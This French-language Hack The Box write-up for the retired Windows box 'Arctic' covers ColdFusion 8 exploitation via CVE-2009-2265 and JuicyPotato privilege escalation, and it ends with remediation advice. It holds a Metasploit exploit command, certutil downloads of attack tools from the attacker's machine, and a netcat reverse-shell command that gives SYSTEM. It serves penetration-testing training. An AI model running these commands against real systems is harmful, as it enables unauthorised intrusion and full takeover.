picsou@htb:~/writeups/easy/arctic$

Windows Easy

Arctic : ColdFusion 8 + JuicyPotato

Upload arbitraire sur ColdFusion 8 (FCKeditor) pour un premier shell, puis JuicyPotato via SeImpersonate pour SYSTEM.

box
Arctic
os
Windows
difficulté
Easy
publiée le
temps
30 min
indices
aucun
outils
nmap metasploit juicypotato
techniques
Scan de ports Exploit public (CVE) Upload de fichier SeImpersonate
cve
CVE-2009-2265

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. ColdFusion 8 exposé, vulnérable à un upload arbitraire via FCKeditor.
  2. L'upload donne un shell en tant que tolis.
  3. SeImpersonatePrivilege est actif, JuicyPotato donne SYSTEM.

Reconnaissance

kali
nmap -sVC -T4 10.129.1.202

La cible est un Windows Server 2008 R2 Standard (Build 7600) qui expose ColdFusion 8 (C:\ColdFusion8\runtime\bin). Le serveur répond lentement : laisser le temps aux requêtes.

Foothold

ColdFusion 8 embarque une instance FCKeditor vulnérable à un upload de fichier arbitraire (CVE-2009-2265), qui permet de déposer un JSP et de l'exécuter.

kali
msfconsole -q -x "use exploit/windows/http/coldfusion_fckeditor; set RHOSTS 10.129.1.202; set LHOST tun0; run"

Shell obtenu en tant que tolis.

Énumération

tolis@arctic
whoami /priv
whoami /priv
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege activé sur un Server 2008 R2 : c'est le terrain de jeu de la famille Potato. JuicyPotato fonctionne ici car l'OS est antérieur au patch RPC de 2019 qui casse ce vecteur sur les systèmes récents.

Élévation vers SYSTEM

Transfert des outils :

tolis@arctic
certutil -urlcache -split -f http://10.10.14.5/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -split -f http://10.10.14.5/nc64.exe nc.exe

Le bon CLSID dépend strictement de la version d'OS. La liste officielle du repo undefined sous CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list évite de tester à l'aveugle.

tolis@arctic
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\tolis\Desktop\nc.exe -e cmd.exe 10.10.14.5 4444" -t * -c {CLSID}

Le listener reçoit un shell NT AUTHORITY\SYSTEM.

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1ColdFusion 8 vulnérable à l'upload FCKeditor (CVE-2009-2265)CritiqueMettre à jour ColdFusion, retirer FCKeditor, filtrer les uploads
F2Compte de service avec SeImpersonate exploitable (JuicyPotato)ÉlevéePatcher l'OS, limiter les privilèges du compte de service

Leçons apprises

  • SeImpersonatePrivilege sur un service compromis est quasi toujours exploitable via la famille Potato (JuicyPotato sur OS anciens ; GodPotato ou PrintSpoofer sur OS récents où le patch RPC de 2019 a cassé JuicyPotato).
  • Vérifier whoami /priv en premier réflexe après un foothold.
  • Le bon CLSID dépend de l'OS : utiliser la liste officielle du repo plutôt que de tester au hasard.

Références